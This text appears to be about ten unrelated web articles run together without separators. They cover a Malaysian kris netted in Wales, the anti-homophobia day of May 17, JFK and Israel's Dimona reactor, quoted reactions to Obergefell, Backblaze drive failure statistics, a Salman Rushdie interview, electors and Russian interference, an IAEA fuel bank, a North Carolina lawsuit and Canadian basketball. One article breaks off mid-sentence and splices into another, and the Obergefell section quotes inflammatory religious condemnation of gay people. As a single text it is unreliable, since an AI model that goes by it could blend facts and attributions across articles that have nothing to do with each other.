THE SWORD Experts believe that the sword is 'kris' of Asian origin, south east Asia, Malaysia. While most strongly associated with the culture of Indonesia the kris is also indigenous to Malaysia, Thailand, Brunei, Singapore and the Philippines where it is known as kalis with variants existing as a sword rather than a dagger. The kris is famous for its distinctive wavy blade, although many have straight blades as well.
Mr Andrew Davies, a coracleman from Carmarthen, dredged up the sword while casting his net.
Mr Davies, who is chairman of the Carmarthen Coracle and Netsman Association, told Wales Online: 'I was out one night in my coracle and the net was cast, when I pulled it in there was this sword in there.
'It was quite a surprise to be honest, not the usual sort of catch.
'I was just between the two river bridges where coracle fishing takes place and this was found just below B&Q.
Mr Davies added: 'I took it straight up to the museum because I thought it would be good to get it checked and to find out anything about it.
'I'd love to know how did it end up in the Towy, it's fascinating.'
Gavin Evans, curator at Carmarthenshire museum, said he had sent photos of the rusted and well corroded blade to a museum in London but has not had any feedback yet.
Mr Evans said: 'I haven't heard anything back from the museum yet but the sword is of Asian origin, south east Asia, Malaysia.'
Experts belive that the sword is 'kris' of Asian origin, south east Asia, Malaysia. While most strongly associated with the culture of Indonesia the kris is also indigenous to Malaysia, Thailand, Brunei, Singapore and the Philippines
'At first I thought it might have been Roman but it has a far more exotic story than that I suspect.
'It is a Kris and would have had quite an ornate blade on it.
'The handle is wood with what seems to be an ornate bird made of bone and there is also some copper like material on it as well.
Mr Andrew Davies, a coracleman from Carmarthen, dredged up the sword while casting his net in the River Towy
The handle is wood with what seems to be an ornate bird made of bone and there is also some copper like material on it as well
'I suspect it has been under mud before it was netted and that's how it has not corroded further, now however, without being in water it will start to deteriorate further.
'How it ended up in the Towy has many possibilities.
'Carmarthen was well known as a port and it may have been dropped or fallen overboard.
Pictured is the River Towy, where Mr Davies discovered the sword, which appears to be of Asian origin
'Or there is always the possibility of a more sinister explanation.
'Could it be a murder weapon that was tossed into the river many many years ago? Who knows, but its very interesting.
'To think that a blade from Asia has found its way all the way to this corner of Wales is impressive to think.'
The sword has been returned to Mr Davies and the netsmen association.International Day Against Homophobia, Transphobia and Biphobia Date May 17 Next time ( 2019-05-17 ) Frequency annual
The International Day Against Homophobia, Transphobia and Biphobia[1][2] is an observed on May 17 and aims to coordinate international events that raise awareness of LGBT rights violations and stimulate interest in LGBT rights work worldwide. By 2016, the commemorations had taken place in 132 countries across the globe.[3]
The founders of the International Day Against Homophobia, as it was originally known, established the IDAHO Committee to coordinate grass-roots actions in different countries, to promote the day and to lobby for official recognition on May 17. That date was chosen to commemorate the decision to remove homosexuality from the International Classification of Diseases of the World Health Organization (WHO) in 1990.[4]
History [ edit ]
[5] Louis-Georges Tin, founder of the International Day Against Homophobia, Transphobia and Biphobia
For a long time in Germany, May 17 had been unofficially labelled as a sort of "Gay Day." Written in the date format 17.5., it had a natural affinity with Paragraph 175 of the Penal Code, the rule dealing with homosexuality (homosexuals were called "one hundred seventy-fivers").
The day, as a concept, was conceived in 2004. A year-long campaign culminated in the first International Day Against Homophobia on May 17, 2005. 24,000 individuals as well as organizations such as the International Lesbian and Gay Association (ILGA), the International Gay and Lesbian Human Rights Commission (IGLHRC), the World Congress of LGBT Jews, and the Coalition of African Lesbians signed an appeal to support the "IDAHO initiative". Activities for the day took place in many countries, including the first LGBT events ever to take place in the Congo, China, and Bulgaria.[citation needed]
In 2009, transphobia was added to the name of the campaign, and activities that year focused primarily on transphobia (violence and discrimination against transgender people). A new petition was launched in cooperation with LGBT organizations in 2009, and it was supported by more than 300 NGOs from 75 countries, as well as three Nobel Prize winners (Elfriede Jelinek, Françoise Barré-Sinoussi, and Luc Montagnier). On the eve of May 17, 2009, France became the first country in the world to officially remove transgender issues from its list of mental illnesses.[6][7]
Frenchman Louis-Georges Tin was founder of the day, and acted as its Committee Chairperson until his resignation in September 2013. He was succeeded by internationally renowned Venezuelan trans rights activist, lawyer and law professor Tamara Adrián, who became one of the first trans legislators in Latin America in 2015.[8]
Louis-Georges Tin and two other Committee members started a hunger-strike on June 2012 to urge the French president Hollande to introduce a UN resolution decriminalising homosexuality.[9]
In France, same-sex marriage has been legal since 18 May 2013; a decision announced on May 17.[10]
Biphobia was added to the name of the campaign in 2015.[11]
Goals and activities [ edit ]
The main purpose of the May 17 mobilisations is to raise awareness of violence, discrimination, and repression of LGBT communities worldwide, which in turn provides an opportunity to take action and engage in dialogue with the media, policymakers, public opinion, and wider civil society.
One of the stated goals of May 17 is to create an event that can be visible at a global level without needing to conform to a specific type of action.[12] This decentralized approach is needed due to the diversity of social, religious, cultural, and political contexts in which rights violations occur.
May 17 around the world [ edit ]
Pink fountain in Genoa for IDAHO 2015
The day is particularly strong in Europe and Latin America, where it is commemorated with public events in almost all countries.[13] May 17 is also marked in multiple countries in all world regions including, in 2013, 32 of the 76 countries in the world[14] where same-sex relationships are criminalised.[13]
Common actions include large-scale street marches, parades and festivals. In Cuba, for example, Mariela Castro has led out a huge street parade in honor of May 17 for the past 3 years. In Chile in 2013, 50,000 people took to the streets to mark May 17, and the VIII Santiago Equality march.[15]
Arts and culture-based events are also common. For example, Bangladeshi activists organised the music festival "Love Music Hate Homophobia" in 2013.[16] Albanian LGBT activists have, in 2012 and 2013 been organising an annual Bike (P) Ride for May 17 through the streets of the capital Tirana.[17] In 2013, the day's Committee called for international actions for a Global Rainbow Flashmob[18] to mark May 17. Activists in 100 cities, in 50 countries participated with diverse public events spanning coloured balloon releases, dance flashmobs, musical events, and performance and street art.[19]
Official recognition [ edit ]
In 2003 the Canadian organization Fondation Émergence instituted a similar event, the National Day Against Homophobia, which was held on June 1. In 2006, they changed the date to May 17, in order to join the international movement.[20]
In 2006, The Declaration of Montreal was created and adopted by the 2006 World Outgames. The Declaration demanded that the United Nations and all states recognize May 17 as the International Day Against Homophobia.[21]
In 2007, in Aosta Valley (Italy), the government approved the support for the IDAHOT[22]
In 2010, Lula, then president of Brazil, signed an act that instituted May 17 as the National Day Against Homophobia in his country.[23][24]
The day is also officially recognized by the EU Parliament, Spain, Portugal, Belgium, the UK, Mexico, Costa Rica, Croatia, the Netherlands, France, Luxembourg and Venezuela. It is also recognized by numerous local authorities, such as the province of Quebec or the city of Buenos Aires.[25]
In 2012, the city of Liverpool, England created a pioneering programme of events in association with the organisation Homotopia, called IDAHO 50. The event was supported by 50 leading organisations based in Liverpool.[26][27][28] "Link" (PDF). Archived from the original (PDF) on 2013-11-02.
On March 21, 2014, Mexico declared, by Presidential Decree, May 17 as the National Day Against Homophobia.[29] See LGBT rights in Mexico.
Venezuela's National Assembly (AN) officially recognized May 17 as the Day against Homophobia, Transphobia and Biphobia on May 12, 2016.[30] AN Deputy Tamara Adrian, also international Chairwoman of the IDAHO Committee, hailed the legislative act as a "sign of change" in a Venezuela where "everyone has equal rights and opportunities".[31]
In several other countries (e.g. Argentina, Bolivia, Australia, and Croatia), national civil society coalitions have called upon their authorities to have May 17 officially recognized.[citation needed]
Impact [ edit ]
As of 2012, few countries have passed legislation at the federal level that includes full-fledged legal recognition for LGBT couples such as marriage, adoption, inheritance, and insurance rights, despite the efforts of the May 17 movement. Some countries continue to criminalize homosexuality or transgender identity and persecute LGBT people, sometimes violently. LGBT people in these countries may be vulnerable to state violence or hate crimes, and LGBT organizations or movements may be vulnerable to state-sponsored harassment.[citation needed]
An ILGA report issued for the day in 2009 confirmed that 76 countries still consider same-sex relationships illegal. In seven of these countries, same-sex sexual acts are punishable by death. In almost all countries, transphobic laws limit the freedom to act in ways that do not conform to the roles and expectations that are culturally determined by a person's sex at birth.
See also [ edit ]How the Israelis Hoodwinked JFK on Going Nuclear
In October 1961, the CIA issued a National Intelligence Estimate (NIE) on Israel, the first since the discovery of the Dimona reactor less than a year earlier, in which the CIA’s analysts assessed broadly the rationale and character of the Israeli nuclear program. For nearly 55 years it was kept secret, until it was quietly declassified in its entirety last year. It sheds light on what the U.S. intelligence community thought about the Israeli nuclear project in the first year of the Kennedy administration, while the Dimona reactor was still under construction. The CIA judgment was straightforward and unequivocal: Israel was placing itself in a position to “produce sufficient weapons-grade plutonium for one or two crude weapons a year by 1965-66, provided separation facilities with a capacity larger than that of the pilot plant now under construction are available.” At a minimum, U.S. intelligence knew that the Dimona project was about weapons capability, not about energy, electricity, or development — as the Israelis had tried to spin the ongoing project.
The declassified NIE also sheds light, by implication, on what American decision-makers, including President John F. Kennedy, must have thought about what Israeli leaders and top Israeli government officials had told them about the Dimona project. For example, this NIE makes apparent that Israeli Prime Minister David Ben-Gurion lied to, or at least misled, Kennedy during a private conversation with him just three months earlier. It also reveals that what top Israeli officials at Dimona had told visiting U.S. Atomic Energy Commission (AEC) scientists must have been false. Simply put, the CIA knew, or at least believed, that Israel was not telling the U.S. government the truth about Dimona — that the nuclear reactor was intended to develop a weapons capability.
This NIE, as well as other related documents, many of them never seen by scholars, from the first two years of the Kennedy administration, were published on April 21 by the National Security Archive, in collaboration with the Nuclear Proliferation International History Project and the James Martin Center for Nonproliferation Studies. The collection highlights both the complexity and the gravity of the Israeli nuclear program for Kennedy and his administration.
The declassified record reveals that more than any other U.S. president, Kennedy was more personally engaged with Israel’s nuclear program and more concerned about it than any of his successors. Israel was the first case of nuclear proliferation that he had to deal with as a president. And nuclear proliferation was JFK’s “private nightmare,” as Glenn Seaborg, his Atomic Energy Commission chairman, once noted. And more than any other country, Israel was the one that impressed upon Kennedy the complexity and difficulty of the problem of nuclear proliferation.
Worried that a nuclear-armed Israel would destabilize the Middle East, Kennedy wanted to bring his concerns directly to Ben-Gurion. The two leaders met to discuss the nuclear issue at the Waldorf Astoria hotel in New York on May 30, 1961. The meeting was possible thanks to a reassuring report about the first American visit at Dimona, by AEC scientists, 10 days earlier.
The documentation about the Waldorf Astoria meeting is interesting because it includes both the U.S. and Israeli official memoranda of conversations as well as a U.S. draft memorandum, which was previously unknown. Each has interesting differences. The U.S. official memorandum of the conversation, declassified and published in the 1990s, was prepared by Philips Talbot, assistant secretary of state for Near Eastern and South Asian Affairs (and approved — possibly corrected — by White House Deputy Special Counsel Mike Feldman). The Israeli minutes, prepared by Ambassador Avraham Harman, were also declassified in the 1990s and historians have made extensive use of them.
In the Waldorf Astoria meeting, Ben-Gurion provided Kennedy with a rationale and narrative of the Dimona project that was very similar to what the Israeli hosts provided to the AEC visitors to Dimona (albeit non-technical and more political): Namely, that the Dimona project was peaceful in nature; it was about energy and development. However, unlike during the Dimona visit, Ben-Gurion’s narrative and rationale left a little wiggle room for a future reversal. The Israeli transcript makes Ben-Gurion’s caveat pronounced: “For the time being, the only purposes are for peace. … But we will see what will happen in the Middle East. It does not depend on us.” The American transcript, by way of rephrasing Ben-Gurion, reveals a similar caveat as well: “‘Our main — and for the time being — only purpose is this [cheap energy, etc.],’” the prime minister said, adding: “‘We do not know what will happen in the future.’ … Furthermore, commenting on the political and strategic implications of atomic power and weaponry, the prime minister said he does believe that ‘in 10 or 15 years the Egyptian presumably could achieve it themselves.’”
In his draft record, Talbot noted (in parenthesis) that during that part of the conversation, Ben-Gurion spoke “rapidly and in a low voice” in a way that “some words were missed.” Nevertheless, Talbot thought he had heard Ben-Gurion referring to a “pilot plant for plutonium separation which is needed for atomic power,” but that might happen “three or four years later” and that “there is no intention to develop weapons capacity now.” Ben-Gurion was giving himself a lot of wiggle room, if Talbot heard him correctly. The draft was declassified long ago but was buried in obscurity; it needs to be taken into account by scholars.
Days after the meeting, Talbot sat with Feldman at the White House to “check fine points” about “sidelines of interest.” A key issue was plutonium, about which Ben-Gurion “mumbled quickly in a low voice.” Ben-Gurion was understood to say something to the effect that the issue of plutonium would not arise until the Dimona installation would be complete in 1964 or so, and that only then would Israel decide what to do about the processing of plutonium. But that appeared to be incompatible with what Ben-Gurion had said to then-U.S. Ambassador to Israel Ogden Reid in January 1961, namely, that the spent fuel would return to the country that had provided the reactor uranium in the first place — France. But the U.S.-Israeli affairs desk officer, William R. Crawford, who looked further into the record, suggested that what Ben-Gurion had said to Reid was even more equivocal and evasive. Upon close examination, Ben-Gurion might have meant to hint that Israel was preserving Israel’s freedom of action to produce plutonium for its own purposes. Kennedy may not have picked up this point, but then again he, like Talbot, may not have been sure exactly what Ben-Gurion had said.
The Ben-Gurion-Kennedy nuclear summit helped clear the air a bit, but the wary view embodied in the NIE shaped U.S. perceptions of the Dimona project. The Kennedy administration held to its conviction that it was necessary to monitor Dimona, not only to resolve American concerns about nuclear proliferation but also to calm regional anxieties about an Israeli nuclear threat. By mid-1962 the Kennedy administration believed that a second visit by U.S. scientists was necessary and, toward that end, started to put diplomatic pressure on Israel.
On Sept. 26, 1962, after “repeated requests over several months,” a second U.S. visit to Dimona finally took place. Until recently, little was publicly known about that visit except that then-U.S. Ambassador to Israel Walworth Barbour referred to it as “unduly restricted to no more than 45 minutes.” According to professor Yuval Ne’eman, at the time the scientific director of the Soreq nuclear research center and the host of the American AEC |
ners’ right where it hurts the most.
Lee Duigon of the Chalcedon Foundation said the “antichrists” celebrating the court’s decision, which he said will destroy freedom, will go to Hell:
Yesterday was the most shameful day in U.S. history, and America will never live it down. … Abortion did not require a radical makeover of our society, to be made to stick; but mock marriage will not endure unless its proponents can successfully criminalize Christianity, subvert and disable the church, and make mincemeat of our First Amendment. … The nadir, of course, was their ordering all the monuments in Washington lit up with rainbow floodlights–the rainbow, remember, was originally a sign from God–to celebrate active defiance of the word of God. But these antichrists specialize in taking God’s name in vain. Every one of those persons who celebrated has put his or her soul in danger of damnation. This is open rebellion against God; it will not stand, nor will it prosper.
World Congress of Families spokesman Don Feder compared the court’s ruling to a recent terrorist attack in France:
In France, terrorists left a severed head at the site of an attack on a chemical plant. On Friday, the Supreme Court beheaded its own hostages – the Constitution and Judeo-Christian morality. … The Court’s edict in Obergefell v. Hodges will be used to further the persecution of believers whose conscience will not allow them to go along with the travesty. The “gay marriage” drive has always been about punishing dissidents. That’s why Christian businesses are specifically targeted. … But it’s not the culmination of the revolution. As Antonio Gramsci, the father of Cultural Marxism, wrote in his “Prison Notebooks,” the final stage is the abolition of the family and the church.
Accuracy in Media’s Cliff Kincaid believes that as a result of this ruling, which he likened to Pearl Harbor, America will no longer “be able to defend itself against its foreign adversaries and enemies.”
In fact, as the Scalia dissent notes, this decision will live in infamy. It is as if a Pearl Harbor-type attack has been achieved on America’s moral fabric and constitutional foundations. … A country that descends to the bottom of the barrel morally and culturally will not be able to defend itself against its foreign adversaries and enemies. Indeed, we have the evidence all around us that, as the culture has degenerated, our ability to defend ourselves has simultaneously been weakened. The recent Pentagon gay pride event featured a male General introducing his husband, as a transgender Pentagon civilian employee looked on.
Mark Creech of the Christian Action League said that the court’s ruling will bring an end to opposite-sex marriage and America itself, adding that the decision represents “the same kind of tyranny fought against by the American Revolutionaries.”Hard Drive Reliability Statistics, as well as the raw hard drive test data, visit For the most recent, as well as the raw hard drive test data, visit Hard Drive Data and Stats
In this update, we’ll review the Q2 2017 and lifetime hard drive failure rates for all our current drive models. We also look at how our drive migration strategy is changing the drives we use and we’ll check in on our enterprise class drives to see how they are doing. Along the way we’ll share our observations and insights and as always we welcome your comments and critiques.
Since our last report for Q1 2017, we have added 635 additional hard drives to bring us to the 83,151 drives we’ll focus on. In Q1 we added over 10,000 new drives to the mix, so adding just 635 in Q2 seems “odd.” In fact, we added 4,921 new drives and retired 4,286 old drives as we migrated from lower density drives to higher density drives. We cover more about migrations later on, but first let’s look at the Q2 quarterly stats.
Hard Drive Stats for Q2 2017
We’ll begin our review by looking at the statistics for the period of April 1, 2017 through June 30, 2017 (Q2 2017). This table includes 17 different 3 ½” drive models that were operational during the indicated period, ranging in size from 3 to 8 TB.
When looking at the quarterly numbers, remember to look for those drives with at least 50,000 drive days for the quarter. That works out to about 550 drives running the entire quarter. That’s a good sample size. If the sample size is below that, the failure rates can be skewed based on a small change in the number of drive failures.
As noted previously, we use the quarterly numbers to look for trends. So this time we’ve included a trend indicator in the table. The “Q2Q Trend” column is short for quarter-to-quarter trend, i.e. last quarter to this quarter. We can add, change, or delete trend columns depending on community interest. Let us know what you think in the comments.
Good Migrations
In Q2 we continued with our data migration program. For us, a drive migration means we intentionally remove a good drive from service and replace it with another drive. Drives that are removed via migrations are not counted as failed. Once they are removed they stop accumulating drive days and other stats in our system.
There are three primary drivers for our migration program.
Increase Storage Density – For example, in Q3 we replaced 3 TB drives with 8 TB drives, more than doubling the amount of storage in a given Storage Pod for the same footprint. The cost of electricity was nominally more with the 8 TB drives, but the increase in density more than offset the additional cost. For those interested you can read more about the cost of cloud storage here. Backblaze Vaults – Our Vault architecture has proven to be more cost effective over the past two years than using stand-alone Storage Pods. A major goal of the migration program is to have the entire Backblaze cloud deployed on the highly efficient and resilient Backblaze Vault architecture. Balancing the Load – With our Phoenix data center online and accepting data, we have migrated some systems to the Phoenix DC. Don’t worry, we didn’t put your data on a truck and drive it to Phoenix. We simply built new systems there and transferred the data from our Northern California DC. In the process, we are gaining valuable insights as we move towards being able to replicate data between the two data centers.
During Q2 we migrated nearly 30 Petabytes of data.
During Q2 we migrated the data on 155 systems, giving nearly 30 petabytes of data a new, more durable, place to call home. There are still 644 individual Storage Pods (Storage Pod Classics, as we call them) left to migrate to the Backblaze Vault architecture.
Just in case you don’t know, a Backblaze Vault is a logical collection of 20 beefy Storage Pods (not Classics). Using our own Reed-Solomon erasure coding library, data is spread out across the 20 Pods into 17 data shards and 3 parity shards. The data and parity shards of each arriving data blob can be stored on different Storage Pods in a given Backblaze Vault.
Lifetime Hard Drive Failure Rates for Current Drives
The table below shows the failure rates for the hard drive models we had in service as of June 30, 2017. This is over the period beginning in April 2013 and ending June 30, 2017. If you are interested in the hard drive failure rates for all the hard drives we’ve used over the years, please refer to our 2016 hard drive review.
Enterprise vs Consumer Drives
We added 3,595 enterprise class 8 TB drives in Q2 bringing our total to 6,054 drives. You may be tempted to compare the failure rates of the 8 TB enterprise drive (model: ST8000NM005) to the consumer 8 TB drive (model: ST8000DM002), and conclude the enterprise drives fail at a higher rate. Let’s not jump to that conclusion yet, as the average operational age of the enterprise drives is only 2.11 months.
There are some insights we can gain from the current data. The enterprise drives have 363,282 drives days and an annualized failure rate of 1.61%. If we look back at our data, we find that as of Q3 2016, the 8 TB consumer drives had 422,263 drive days with an annualized failure rate of 1.60%. That means that when both drive models had a similar number of drive days, they had nearly the same annualized failure rate. There are no conclusions to be made here, but the observation is worth considering as we gather data for our comparison.
Next quarter, we should have enough data to compare the 8 TB drives, but by then the 8TB drives could be “antiques.” In the next week or so, we’ll be installing 12 TB hard drives in a Backblaze Vault. Each 60-drive Storage Pod in the Vault would have 720 TB of storage available and a 20-pod Backblaze Vault would have 14.4 petabytes of raw storage.
Better Late Than Never
Sorry for being a bit late with the hard drive stats report this quarter. We were ready to go last week, then this happened. Some folks here thought that was more important than our Q2 Hard Drive Stats. Go figure.
Drive Stats at the Storage Developers Conference
We will be presenting at the Storage Developers Conference in Santa Clara on Monday September 11th at 8:30am. We’ll be reviewing our drive stats along with some interesting observations from the SMART stats we also collect. The conference is the leading event for technical discussions and education on the latest storage technologies and standards. Come join us.
The Data For This Review
If you are interested in the data from the two tables in this review, you can download an Excel spreadsheet containing the two tables. Note: the domain for this download will be f001.backblazeb2.com.
You also can download the entire data set we use for these reports from our Hard Drive Test Data page. You can download and use this data for free for your own purposes. All we ask are three things: 1) you cite Backblaze as the source if you use the data, 2) you accept that you are solely responsible for how you use the data, and 3) you do not sell this data to anyone. It is free.
Good luck, and let us know if you find anything interesting.
[Ed: 8-29-2017: Updated incorrect “drive hours” references to “drive days” – Thanks Marco!]Author and free speech advocate Salman Rushdie accepted the Chicago Tribune 2015 Literary Award and appeared Saturday morning in a conversation with Tribune Editorial Page Editor Bruce Dold at the University of Illinois at Chicago as part of the Chicago Humanities Festival.
Here are excerpts from Rushdie's comments:
"If you are not a good writer, that's not your fault — that's just your problem. But if you are a self-censoring writer, that is your fault because then you are choosing to be a bad writer, and that's to my mind not forgiven."
"The world is not a safer place now than it was on September the 10th, 2001. In many ways it is a more dangerous place. The path of war has not been a great success. If there is an option of trying peace, I'm in favor of peace. I think the whole thing with the Iran deal is entirely about transparency. If the Iranians keep their side of the deal and just allow inspections and surveys and allow the West to satisfy the things they say they are going to do, it is a good deal. If they don't do that, it is not such a good deal."
Political correctness and censorship on U.S. college campuses are "nonsense — it needs to be called out as nonsense — and rejected as firmly as possible. There was a (situation) a couple of months ago where students at Duke (University) refused to read Alison Bechdel's book ("Fun Home") because it was written by a lesbian and it offended their religious beliefs. I thought, maybe you should just not be at Duke. Step down and make room for people who actually want to learn something — which is what a university is supposed to be about."
Then-Chicago Tribune Editorial Page Editor Bruce Dold interviews Salman Rushie, the 2015 recipient of the Chicago Tribune Literary Award, in November 2015. Then-Chicago Tribune Editorial Page Editor Bruce Dold interviews Salman Rushie, the 2015 recipient of the Chicago Tribune Literary Award, in November 2015. SEE MORE VIDEOS
"The university is the place where young people should be challenged every day, where everything they know should be put into question so that they can think and learn and grow up. That's what they are there to do. And the idea that they should be protected from ideas that they might not like is the opposite of what a university should be. In a university, it is ideas that should be protected. It is the discussion of ideas that should be given a safe place. The university should be a safe space for the life of the mind. That's what it is for."
"I think one of the great glories of this country is the First Amendment.... Western democracies differ about the limits of free expression. For instance, England has a thing called the Race Relations Act, which makes it a crime, punishable by jail, to make racist statements. When I lived in England, I thought, well, nothing wrong with that. But when you come to America, you realize the First Amendment actually even protects a lot of that, which is why things like the (Ku Klux Klan) can exist and say what they have to say. I really wasn't sure what I thought about that for a long time.... If you are going to start limiting free speech, who sets that limit? And once you accept the principle of limiting it, those goal posts can get moved all the time. Next thing you know, something you want to have said is going to get forbidden."
"I would like to speak in defense of the reading habits of young people.... I am interested to see on the Internet the way of blogs, or book websites where people are arguing about books they read. The book is a very resilient thing. Everything in the last couple years, every new technology, is supposed to destroy books. Radio, television, cinema, the Internet. Everything is supposed to destroy books, and yet, oddly, there they still are."
"There is this new generation in American literature of immigrants from everywhere. American literature has always been fueled by migrants, whether it is Eastern European Jewish migrants, or Italian migrants. Now there are really writers from everywhere... telling stories that have become American stories. I think it has been incredibly enriching of American literature that this young generation is there. It kind of inspired me."
Christopher Hitchens "was one of the funniest people I ever met in my life... we used to have evenings where you would end up aching with laughter. Not having those is a real sadness. We invented terrible games. Word games. My game with Christopher was titles that don't quite make it. Like 'A Farewell to Weapons,' 'Mr. Zhivago,' 'Toby Dick'... 'Blueberry Finn.' I'm sorry I have done this because it is like a computer virus. You will not be able to stop playing this game. 'The Big Gatsby'...."Hillary Clinton's campaign has backed a request from a bipartisan group of Electoral College electors to have the national intelligence director release findings related to Russia's role in the U.S. election before they vote on Dec. 19.
"The bipartisan electors' letter raises very grave issues involving our national security. Electors have a solemn responsibility under the Constitution and we support their efforts to have their questions addressed," Clinton campaign chairman John Podesta said in a statement Monday.
In an open letter to Director of National Intelligence James Clapper, the 10 electors from six states and Washington D.C. asked for "a briefing on all investigative findings" related to Russia's role in the election, saying "these matters directly impact the core factors in our deliberations of whether (Donald Trump) is fit to serve" as president. Their concerns range from reports that the CIA has concluded that Russia used covert operations to help Trump win to Trump aides having alleged ties to Moscow.
They contend that the Electoral College should not summarily cast votes for a state's winner but rather deliberate to ensure that the president is fit to serve. More information on intelligence findings will help them make that decision, they said.
President-elect Trump has tried to cast reports about the CIA's conclusion as a partisan attempt to delegitimize his election, attacking the abilities of the intelligence community. His transition team did not immedaitely respond to a request for comment on Podesta backing the electors' letter.
President Barack Obama has ordered intelligence agencies to deliver him evidence of Russian influence on the election. Some of that information may be made public "in a responsible manner," Senate Majority Leader Mitch McConnell of Kentucky said Monday.
A bipartisan group of senators including incoming Democratic leader Chuck Schumer of New York and Republican John McCain of Arizona have also called for a probe of Russian tactics. McConnell said Monday that he agreed with them that "this simply cannot be a partisan issue."
McConnell added that the Senate's intelligence committee will review Russia's actions, following the "regular order." He stopped short of endorsing a special panel investigation.
Podesta contended that the Obama administration "owes it to the American people to explain what it knows regarding the extent and manner of Russia's interference and this be done as soon as possible."
The intelligence community announced in October that it believed Russia directed the hacking of email accounts for U.S. political organizations and prominent individuals to interfere with the electoral process. The recent reports, however, say the CIA took the findings a step further, concluding that the interference was meant to help Trump.Since the nuclear age began, the globalization of atomic production has been much discussed, but never attempted. The vote on the bank — taken in Vienna by the 35 countries that make up the board of the atomic energy agency, an arm of the United Nations — comes as dozens of developing countries have expressed interest in nuclear power.
“This is a breakthrough in global cooperation,” said Sam Nunn, the former Democratic senator from Georgia and co-chairman of the Nuclear Threat Initiative, a group in Washington that backed the bank’s creation and solicited the $50 million donation from Mr. Buffett to help get it started.
Mr. Nunn said the bank would “enable peaceful uses of nuclear energy while reducing the risks of proliferation and catastrophic terrorism.”
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When enriched to low levels, uranium can fuel reactors. But the highly enriched variety is one of the two main fuels of atomic bombs. Nonproliferation experts like to see uranium turned into fuel rods for nuclear reactors as soon as possible, because it is difficult to remanufacture the rods into weapons.
Mr. Buffett made his $50 million offer in late 2006. His pledge was contingent on the atomic agency’s establishing the fuel bank and one or more countries’ contributing $100 million — or the equivalent in reactor fuel.
The financial goal was met in March 2009 when Kuwait donated $10 million. The other backers are the United States, the European Union, Norway and the United Arab Emirates. The contributions now total $157 million.
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Nuclear experts say the money will buy up to 80 tons of fuel — enough for refueling one reactor. The location of the bank has yet to be determined, as well as the exact means of its replenishment and expansion.
In recent years, the idea of atomic fuel banks has been much discussed, and Russia just set up one, which the atomic agency is going to help administer. But the Russian one is not a true global institution, and experts see the agency’s own bank as offering more reassurance to skittish nations.
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While a commercial market exists for the sale of reactor fuel, some potential buyers may see the supplies as potentially subject to political disputes and manipulation and thus may become interested in producing their own. The global bank, nuclear experts say, has the potential to diminish that rationale.
“It may encourage smaller countries to not engage in enrichment because they’ll see the bank as a form of security,” said Thomas B. Cochran, a senior scientist in the nuclear program of the Natural Resources Defense Council, a private group in Washington. “But it’s not going to solve Iran or other big issues of nuclear proliferation.”
Analysts said the nuclear industry liked the idea because it signaled global approval for nuclear power.
Security experts like fuel banks because they promise to aid global development while avoiding proliferation risks. And the fuel banks are seen as having built-in theft protection because member nations can watch one another to prevent diversions of material for nuclear arms.By The Associated Press
RALEIGH, N.C. (AP) — The Latest on North Carolina Gov. Roy Cooper's lawsuit challenging a law cutting his election oversight role passed by the Republican-led legislature (all times local):
12:45 p.m.
The political power struggle that started before North Carolina swore in a new governor is getting a hard look by a trio of state judges.
A three-judge panel on Thursday heard from lawyers for Democratic Gov. Roy Cooper, who sued claiming a new law diminishing his election oversight is unconstitutional. The Republican-dominated General Assembly acted two weeks before Cooper took office in January. That law was blocked and legislators passed the replacement being challenged again.
Attorneys for state legislative leaders say Cooper may not like having his powers reduced, but earlier Republican governors also saw their election oversight diminished and ballots were cast for years without disruption.
Cooper's lawyer says the legislature is both writing the laws and picking the people to enforce them, violating the constitutional separation of powers.
___
4:10 a.m.
A North Carolina judicial panel is taking on the question of whether it's constitutional for GOP legislators to end the century-old practice of governors overseeing efficient elections now that a political rival is in office.
A hearing starts Thursday to decide Democratic Gov. Roy Cooper's lawsuit seeking to have the new law declared unconstitutional.
Three state trial judges are looking at a law taking away his authority to pick the majority of the five-member statewide elections board. The current Republican day-to-day executive could stay indefinitely if the board devolves into partisan deadlocks.
Cooper's lawyers argue the law is unconstitutional because it interferes with the governor's duty to ensure election laws are faithfully carried out.
Lawyers for Republican legislators say Cooper's argument is a smoke screen for a partisan turf war.Watch above: Over the last few years, there has been an explosion of Canadian stars in the NBA. That’s thanks to a program aimed at helping young athletes. Mike Drolet has this week’s Everyday Hero.
TORONTO – For years the face of Canadian pro-basketball was two-time MVP Steve Nash, who was considered an anomaly from north of the border in the American-dominated sport. Fast forward to 2014 where more than 25 homegrown athletes are among players to watch during this year’s NCAA March Madness tournament.
So what happened?
The answer involves a bizarre combination of a big game show win, an Ontario rivalry-turned-partnership and an era of Canadian kids who grew up wanting to dunk like Vince Carter.
Back in the early nineties two guys in Brampton, Ont., each started an Amateur Athletic Union (AAU) program to train kids in the sport first created by Canadian James Naismith in 1891. Mike George founded the CIA program (which originated in a church and stood for “Christians in Action”) and Tony McIntyre founded Bounce. The two were high-performing rivals that often met at tournaments.
“We were competing head to head, and it was a very competitive situation where we’d go to the [United States] … we’d face each other down there and it became more annoying than it was, ‘Great, we’re in the finals,’” said McIntyre.
“It was like, we could play these games a block from our house.”
About 10 years ago, they combined the teams to form grassroots basketball program CIA Bounce, where CIA now signifies “Characteristics Inspiring Achievement.”
McIntyre, father to high-performing college basketball players Brandon, Dylan and Tyler Ennis, said he and George both wanted to help kids get scholarships through education as well as basketball.
The two men started the program with their own money, but by 2007 they badly needed funding.
Cue the Hollywood magic.
George applied for the Howie Mandel show Deal or No Deal, made it on with his CIA Bounce backstory, and won enough to support the program for about five years.
“We ended up at the end of the day winning $144,000 on the show,” said McIntyre, more than half of which went directly to the program. “Without that, I don’t know where we would’ve been.”
Watch below: Friends, family, and supporters of the CIA Bounce program gathered at Cardinal Newman Catholic School to watch Mike George compete on Deal or No Deal Canada.
And it’s a good thing, because McIntyre and his partner won the money at a time when a certain Toronto Raptors star’s slam dunks were inspiring the younger generation.
“While Steve Nash provided the great Canadian vision, Vince Carter was in Toronto every day. He was doing school visits, he was the player that young guys could go see play at the Air Canada Centre,” said Canada Basketball’s Executive Director Michele O’Keefe.
“I don’t think we can discount the impact that having a role model so close to you—how important it is.”
O’Keefe champions the grassroots clubs across the country, but particularly in Scarborough and Brampton, and stresses the importance of seeing the “bigger picture” the way CIA Bounce has.
“Those guys have given the athletes a great opportunity to train, they get them a lot of gym time, they make sure that they’re getting trained properly, and they give them experience to play against the best every day,” said O’Keefe. “So Tony McIntyre and his coworkers have done a fabulous job.”
Watch below: Canada Basketball Executive Director Michele O’Keefe on Canada’s basketball tipping point, and the role emerging stars in both the NBA and the NCAA tournament are playing.
